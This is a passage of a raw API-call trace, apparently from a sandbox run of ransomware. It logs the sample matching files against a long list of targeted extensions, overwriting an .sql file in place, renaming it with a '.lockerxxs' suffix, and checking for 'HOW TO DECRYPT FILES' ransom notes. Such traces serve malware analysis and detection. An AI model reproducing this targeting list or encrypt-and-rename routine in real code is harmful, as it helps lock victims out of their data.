[0135.575] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallSqlStateTemplate.sql", pszSpec="*.pst") returned 0 [0135.575] lstrlenA (lpString="*.pst") returned 5 [0135.575] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallSqlStateTemplate.sql", pszSpec="*.ost") returned 0 [0135.575] lstrlenA (lpString="*.ost") returned 5 [0135.575] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallSqlStateTemplate.sql", pszSpec="*.idx") returned 0 [0135.575] lstrlenA (lpString="*.idx") returned 5 [0135.575] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallSqlStateTemplate.sql", pszSpec="*.dbx") returned 0 [0135.575] lstrlenA (lpString="*.dbx") returned 5 [0135.575] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallSqlStateTemplate.sql", pszSpec="*.sql") returned 1 [0135.575] lstrlenA (lpString="*.sql") returned 5 [0135.575] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallSqlStateTemplate.sql" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallSqlStateTemplate.sql") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallSqlStateTemplate.sql" [0135.575] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallSqlStateTemplate.sql" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallSqlStateTemplate.sql") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallSqlStateTemplate.sql" [0135.575] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallSqlStateTemplate.sql", lpString2="." | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallSqlStateTemplate.sql.") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallSqlStateTemplate.sql." [0135.575] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallSqlStateTemplate.sql.", lpString2="lockerxxs" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallSqlStateTemplate.sql.lockerxxs") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallSqlStateTemplate.sql.lockerxxs" [0135.576] CreateFileA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallSqlStateTemplate.sql" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\installsqlstatetemplate.sql"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x8c [0135.578] GetFileSize (in: hFile=0x8c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xd28f [0135.578] GetFileTime (in: hFile=0x8c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0xdf359d44, dwHighDateTime=0x1ca042b), lpLastAccessTime=0x407536*(dwLowDateTime=0xdf359d44, dwHighDateTime=0x1ca042b), lpLastWriteTime=0x40753e*(dwLowDateTime=0x9fd745dc, dwHighDateTime=0x1c9ea11)) returned 1 [0135.578] SetFilePointer (in: hFile=0x8c, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0135.578] ReadFile (in: hFile=0x8c, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0xd269, lpOverlapped=0x0) returned 1 [0135.585] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallSqlStateTemplate.sql") returned="InstallSqlStateTemplate.sql" [0135.585] SetFilePointer (in: hFile=0x8c, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0135.585] WriteFile (in: hFile=0x8c, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0xd269, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0xd269, lpOverlapped=0x0) returned 1 [0135.586] SetFileTime (hFile=0x8c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0135.586] CloseHandle (hObject=0x8c) returned 1 [0135.586] MoveFileA (lpExistingFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallSqlStateTemplate.sql" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\installsqlstatetemplate.sql"), lpNewFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallSqlStateTemplate.sql.lockerxxs" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\installsqlstatetemplate.sql.lockerxxs")) returned 1 [0135.587] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9ae3f81b, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9ae3f81b, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9ae6597c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xec0001ed, dwReserved1=0x4e00c4, cFileName="InstallUtil.exe", cAlternateFileName="")) returned 1 [0135.588] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0135.588] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="InstallUtil.exe") returned -1 [0135.588] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="InstallUtil.exe") returned -1 [0135.588] lstrcmpiA (lpString1="", lpString2="InstallUtil.exe") returned -1 [0135.588] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallSqlStateTemplate.sql") returned="InstallSqlStateTemplate.sql" [0135.588] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" [0135.588] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\") returned="" [0135.588] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt" [0135.588] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\how to decrypt files.txt")) returned 0x20 [0135.588] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", lpString2="InstallUtil.exe" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallUtil.exe") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallUtil.exe" [0135.588] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallUtil.exe", pszSpec="*.ems") returned 0 [0135.588] lstrlenA (lpString="*.ems") returned 5 [0135.588] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallUtil.exe", pszSpec="*.db") returned 0 [0135.588] lstrlenA (lpString="*.db") returned 4 [0135.588] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallUtil.exe", pszSpec="*.dbf") returned 0 [0135.588] lstrlenA (lpString="*.dbf") returned 5 [0135.588] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallUtil.exe", pszSpec="*.myox") returned 0 [0135.589] lstrlenA (lpString="*.myox") returned 6 [0135.589] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallUtil.exe", pszSpec="*.myo") returned 0 [0135.589] lstrlenA (lpString="*.myo") returned 5 [0135.589] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallUtil.exe", pszSpec="*.qbw") returned 0 [0135.589] lstrlenA (lpString="*.qbw") returned 5 [0135.589] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallUtil.exe", pszSpec="*.qbb") returned 0 [0135.589] lstrlenA (lpString="*.qbb") returned 5 [0135.589] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallUtil.exe", pszSpec="*.qbm") returned 0 [0135.589] lstrlenA (lpString="*.qbm") returned 5 [0135.589] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallUtil.exe", pszSpec="*.qbo") returned 0 [0135.589] lstrlenA (lpString="*.qbo") returned 5 [0135.589] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallUtil.exe", pszSpec="*.qbx") returned 0 [0135.589] lstrlenA (lpString="*.qbx") returned 5 [0135.589] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallUtil.exe", pszSpec="*.qba") returned 0 [0135.589] lstrlenA (lpString="*.qba") returned 5 [0135.589] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallUtil.exe", pszSpec="*.qby") returned 0 [0135.589] lstrlenA (lpString="*.qby") returned 5 [0135.589] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallUtil.exe", pszSpec="*.qbj") returned 0 [0135.590] lstrlenA (lpString="*.qbj") returned 5 [0135.590] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallUtil.exe", pszSpec="*.ofx") returned 0 [0135.590] lstrlenA (lpString="*.ofx") returned 5 [0135.590] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallUtil.exe", pszSpec="*.qif") returned 0 [0135.590] lstrlenA (lpString="*.qif") returned 5 [0135.590] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallUtil.exe", pszSpec="*.mye") returned 0 [0135.590] lstrlenA (lpString="*.mye") returned 5 [0135.590] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallUtil.exe", pszSpec="*.mbox") returned 0 [0135.590] lstrlenA (lpString="*.mbox") returned 6 [0135.590] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallUtil.exe", pszSpec="*.eml") returned 0 [0135.590] lstrlenA (lpString="*.eml") returned 5 [0135.590] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallUtil.exe", pszSpec="*.pst") returned 0 [0135.590] lstrlenA (lpString="*.pst") returned 5 [0135.590] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallUtil.exe", pszSpec="*.ost") returned 0 [0135.590] lstrlenA (lpString="*.ost") returned 5 [0135.590] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallUtil.exe", pszSpec="*.idx") returned 0 [0135.590] lstrlenA (lpString="*.idx") returned 5 [0135.590] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallUtil.exe", pszSpec="*.dbx") returned 0 [0135.590] lstrlenA (lpString="*.dbx") returned 5 [0135.590] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallUtil.exe", pszSpec="*.sql") returned 0 [0135.590] lstrlenA (lpString="*.sql") returned 5 [0135.591] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallUtil.exe", pszSpec="*.mdb") returned 0 [0135.591] lstrlenA (lpString="*.mdb") returned 5 [0135.591] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallUtil.exe", pszSpec="*.fdb") returned 0 [0135.591] lstrlenA (lpString="*.fdb") returned 5 [0135.591] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallUtil.exe", pszSpec="*.wab") returned 0 [0135.591] lstrlenA (lpString="*.wab") returned 5 [0135.591] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallUtil.exe", pszSpec="*.dat") returned 0 [0135.591] lstrlenA (lpString="*.dat") returned 5 [0135.591] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallUtil.exe", pszSpec="*.txt") returned 0 [0135.591] lstrlenA (lpString="*.txt") returned 5 [0135.591] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallUtil.exe", pszSpec="*.jpeg") returned 0 [0135.591] lstrlenA (lpString="*.jpeg") returned 6 [0135.591] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallUtil.exe", pszSpec="*.jpg") returned 0 [0135.591] lstrlenA (lpString="*.jpg") returned 5 [0135.591] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallUtil.exe", pszSpec="*.png") returned 0 [0135.591] lstrlenA (lpString="*.png") returned 5 [0135.591] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallUtil.exe", pszSpec="*.php") returned 0 [0135.591] lstrlenA (lpString="*.php") returned 5 [0135.591] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallUtil.exe", pszSpec="*.cs") returned 0 [0135.591] lstrlenA (lpString="*.cs") returned 4 [0135.591] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallUtil.exe", pszSpec="*.cpp") returned 0 [0135.591] lstrlenA (lpString="*.cpp") returned 5 [0135.592] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallUtil.exe", pszSpec="*.rar") returned 0 [0135.592] lstrlenA (lpString="*.rar") returned 5 [0135.592] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallUtil.exe", pszSpec="*.zip") returned 0 [0135.592] lstrlenA (lpString="*.zip") returned 5 [0135.592] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallUtil.exe", pszSpec="*.html") returned 0 [0135.592] lstrlenA (lpString="*.html") returned 6 [0135.592] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallUtil.exe", pszSpec="*.htm") returned 0 [0135.592] lstrlenA (lpString="*.htm") returned 5 [0135.592] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallUtil.exe", pszSpec="*.xlsx") returned 0 [0135.592] lstrlenA (lpString="*.xlsx") returned 6 [0135.592] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallUtil.exe", pszSpec="*.xls") returned 0 [0135.592] lstrlenA (lpString="*.xls") returned 5 [0135.592] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallUtil.exe", pszSpec="*.mp4") returned 0 [0135.592] lstrlenA (lpString="*.mp4") returned 5 [0135.592] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallUtil.exe", pszSpec="*.ppt") returned 0 [0135.592] lstrlenA (lpString="*.ppt") returned 5 [0135.592] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallUtil.exe", pszSpec="*.pptx") returned 0 [0135.592] lstrlenA (lpString="*.pptx") returned 6 [0135.592] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallUtil.exe", pszSpec="*.doc") returned 0 [0135.592] lstrlenA (lpString="*.doc") returned 5 [0135.592] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallUtil.exe", pszSpec="*.dot") returned 0 [0135.592] lstrlenA (lpString="*.dot") returned 5 [0135.593] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallUtil.exe", pszSpec="*.docx") returned 0 [0135.593] lstrlenA (lpString="*.docx") returned 6 [0135.593] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallUtil.exe", pszSpec="*.7z") returned 0 [0135.593] lstrlenA (lpString="*.7z") returned 4 [0135.593] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallUtil.exe", pszSpec="*.tar") returned 0 [0135.593] lstrlenA (lpString="*.tar") returned 5 [0135.593] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallUtil.exe", pszSpec="*.bz2") returned 0 [0135.593] lstrlenA (lpString="*.bz2") returned 5 [0135.593] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallUtil.exe", pszSpec="*.gz") returned 0 [0135.593] lstrlenA (lpString="*.gz") returned 4 [0135.593] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallUtil.exe", pszSpec="*.mkv") returned 0 [0135.593] lstrlenA (lpString="*.mkv") returned 5 [0135.593] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallUtil.exe", pszSpec="*.eml") returned 0 [0135.593] lstrlenA (lpString="*.eml") returned 5 [0135.593] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallUtil.exe", pszSpec="*.msg") returned 0 [0135.593] lstrlenA (lpString="*.msg") returned 5 [0135.593] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallUtil.exe", pszSpec="*.edb") returned 0 [0135.593] lstrlenA (lpString="*.edb") returned 5 [0135.593] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallUtil.exe", pszSpec="*.accdb") returned 0 [0135.593] lstrlenA (lpString="*.accdb") returned 7 [0135.593] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallUtil.exe", pszSpec="*.odb") returned 0 [0135.594] lstrlenA (lpString="*.odb") returned 5 [0135.594] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallUtil.exe", pszSpec="*.java") returned 0 [0135.594] lstrlenA (lpString="*.java") returned 6 [0135.594] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallUtil.exe", pszSpec="*.asm") returned 0 [0135.594] lstrlenA (lpString="*.asm") returned 5 [0135.594] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallUtil.exe", pszSpec="*.pfx") returned 0 [0135.594] lstrlenA (lpString="*.pfx") returned 5 [0135.594] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallUtil.exe", pszSpec="*.pem") returned 0 [0135.594] lstrlenA (lpString="*.pem") returned 5 [0135.594] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallUtil.exe", pszSpec="*.p12") returned 0 [0135.594] lstrlenA (lpString="*.p12") returned 5 [0135.594] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallUtil.exe", pszSpec="*.gpg") returned 0 [0135.594] lstrlenA (lpString="*.gpg") returned 5 [0135.594] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallUtil.exe", pszSpec="*.vsd") returned 0 [0135.594] lstrlenA (lpString="*.vsd") returned 5 [0135.594] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallUtil.exe", pszSpec="*.odg") returned 0 [0135.594] lstrlenA (lpString="*.odg") returned 5 [0135.594] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallUtil.exe", pszSpec="*.raw") returned 0 [0135.594] lstrlenA (lpString="*.raw") returned 5 [0135.594] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallUtil.exe", pszSpec="*.nef") returned 0 [0135.595] lstrlenA (lpString="*.nef") returned 5 [0135.595] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallUtil.exe", pszSpec="*.svg") returned 0 [0135.595] lstrlenA (lpString="*.svg") returned 5 [0135.595] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallUtil.exe", pszSpec="*.psd") returned 0 [0135.595] lstrlenA (lpString="*.psd") returned 5 [0135.595] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallUtil.exe", pszSpec="*.vmx") returned 0 [0135.595] lstrlenA (lpString="*.vmx") returned 5 [0135.595] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallUtil.exe", pszSpec="*.vmdk") returned 0 [0135.595] lstrlenA (lpString="*.vmdk") returned 6 [0135.595] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallUtil.exe", pszSpec="*.vdi") returned 0 [0135.595] lstrlenA (lpString="*.vdi") returned 5 [0135.595] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallUtil.exe", pszSpec="*.lay6") returned 0 [0135.595] lstrlenA (lpString="*.lay6") returned 6 [0135.595] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallUtil.exe", pszSpec="*.mpeg") returned 0 [0135.595] lstrlenA (lpString="*.mpeg") returned 6 [0135.595] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallUtil.exe", pszSpec="*.djvu") returned 0 [0135.595] lstrlenA (lpString="*.djvu") returned 6 [0135.595] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallUtil.exe", pszSpec="*.tiff") returned 0 [0135.595] lstrlenA (lpString="*.tiff") returned 6 [0135.596] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallUtil.exe", pszSpec="*.backup") returned 0 [0135.596] lstrlenA (lpString="*.backup") returned 8 [0135.596] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallUtil.exe", pszSpec="*.pdf") returned 0 [0135.596] lstrlenA (lpString="*.pdf") returned 5 [0135.596] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallUtil.exe", pszSpec="*.cert") returned 0 [0135.596] lstrlenA (lpString="*.cert") returned 6 [0135.596] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallUtil.exe", pszSpec="*.docm") returned 0 [0135.596] lstrlenA (lpString="*.docm") returned 6 [0135.596] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallUtil.exe", pszSpec="*.xlsm") returned 0 [0135.596] lstrlenA (lpString="*.xlsm") returned 6 [0135.596] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallUtil.exe", pszSpec="*.dwg") returned 0 [0135.596] lstrlenA (lpString="*.dwg") returned 5 [0135.596] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallUtil.exe", pszSpec="*.nd") returned 0 [0135.596] lstrlenA (lpString="*.nd") returned 4 [0135.596] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallUtil.exe", pszSpec="*.tlg") returned 0 [0135.596] lstrlenA (lpString="*.tlg") returned 5 [0135.596] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallUtil.exe", pszSpec="*.lgb") returned 0 [0135.596] lstrlenA (lpString="*.lgb") returned 5 [0135.596] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallUtil.exe", pszSpec="*.mov") returned 0 [0135.597] lstrlenA (lpString="*.mov") returned 5 [0135.597] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallUtil.exe", pszSpec="*.xdw") returned 0 [0135.597] lstrlenA (lpString="*.xdw") returned 5 [0135.597] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallUtil.exe", pszSpec="*.ods") returned 0 [0135.597] lstrlenA (lpString="*.ods") returned 5 [0135.597] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallUtil.exe", pszSpec="*.wav") returned 0 [0135.597] lstrlenA (lpString="*.wav") returned 5 [0135.597] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallUtil.exe", pszSpec="*.mp3") returned 0 [0135.597] lstrlenA (lpString="*.mp3") returned 5 [0135.597] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallUtil.exe", pszSpec="*.aiff") returned 0 [0135.597] lstrlenA (lpString="*.aiff") returned 6 [0135.597] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallUtil.exe", pszSpec="*.flac") returned 0 [0135.598] lstrlenA (lpString="*.flac") returned 6 [0135.598] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallUtil.exe", pszSpec="*.m4a") returned 0 [0135.598] lstrlenA (lpString="*.m4a") returned 5 [0135.598] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallUtil.exe", pszSpec="*.csv") returned 0 [0135.598] lstrlenA (lpString="*.csv") returned 5 [0135.598] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa5004dd, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0xfa5004dd, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9fef139c, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0xf150, dwReserved0=0x0, dwReserved1=0x0, cFileName="InstallUtilLib.dll", cAlternateFileName="")) returned 1 [0135.598] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0135.598] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="InstallUtilLib.dll") returned -1 [0135.598] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="InstallUtilLib.dll") returned -1 [0135.598] lstrcmpiA (lpString1="", lpString2="InstallUtilLib.dll") returned -1 [0135.598] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallUtil.exe") returned="InstallUtil.exe" [0135.598] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" | out: 